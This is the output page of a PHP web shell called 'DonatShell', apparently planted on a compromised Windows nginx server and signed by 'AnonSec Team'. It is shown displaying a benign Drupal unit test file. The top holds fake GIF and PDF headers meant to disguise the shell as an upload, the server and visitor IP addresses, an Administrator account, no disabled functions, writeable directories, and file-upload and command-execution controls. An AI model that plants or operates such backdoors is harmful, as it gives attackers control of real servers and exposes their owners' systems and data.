GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/editor/tests/src/Unit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/editor/tests/src/Unit/EditorBaseTest.php
<?php

namespace Drupal\Tests\editor\Unit;

use Drupal\Core\Form\FormState;
use Drupal\Core\Form\FormStateInterface;
use Drupal\editor\Entity\Editor;
use Drupal\editor\Plugin\EditorBase;
use Drupal\Tests\UnitTestCase;

/**
 * @coversDefaultClass \Drupal\editor\Plugin\EditorBase
 * @group editor
 */
class EditorBaseTest extends UnitTestCase {

  /**
   * @covers ::buildConfigurationForm
   * @covers ::validateConfigurationForm
   * @covers ::submitConfigurationForm
   */
  public function testBc() {
    $form_state = new FormState();
    $form_state->set('editor', $this->prophesize(Editor::class)->reveal());
    $editor_plugin = new BcEditor([], 'editor_plugin', []);

    // settingsForm() is deprecated in favor of buildConfigurationForm().
    $this->assertSame(
      $editor_plugin->settingsForm([], clone $form_state, $this->prophesize(Editor::class)->reveal()),
      $editor_plugin->buildConfigurationForm([], clone $form_state)
    );

    // settingsFormValidate() is deprecated in favor of
    // validateConfigurationForm().
    $form = [];
    $form_state_a = clone $form_state;
    $form_state_b = clone $form_state;
    $editor_plugin->settingsFormValidate($form, $form_state_a, $this->prophesize(Editor::class)->reveal());
    $editor_plugin->validateConfigurationForm($form, $form_state_b);
    $this->assertEquals($form_state_a, $form_state_b);

    // settingsFormSubmit() is deprecated in favor of submitConfigurationForm().
    $form = [];
    $form_state_a = clone $form_state;
    $form_state_b = clone $form_state;
    $editor_plugin->settingsFormSubmit($form, $form_state_a, $this->prophesize(Editor::class)->reveal());
    $editor_plugin->submitConfigurationForm($form, $form_state_b);
    $this->assertEquals($form_state_a, $form_state_b);
  }

}

class BcEditor extends EditorBase {

  public function settingsForm(array $form, FormStateInterface $form_state, Editor $editor) {
    return ['foo' => 'bar'];
  }

  public function settingsFormValidate(array $form, FormStateInterface $form_state) {
    $form_state->setValue('foo', 'bar');
  }

  public function settingsFormSubmit(array $form, FormStateInterface $form_state) {
    $form_state->setValue('bar', 'baz');
  }

  public function getJSSettings(Editor $editor) {
    return [];
  }

  public function getLibraries(Editor $editor) {
    return [];
  }

}

Anon7 - 2022
AnonSec Team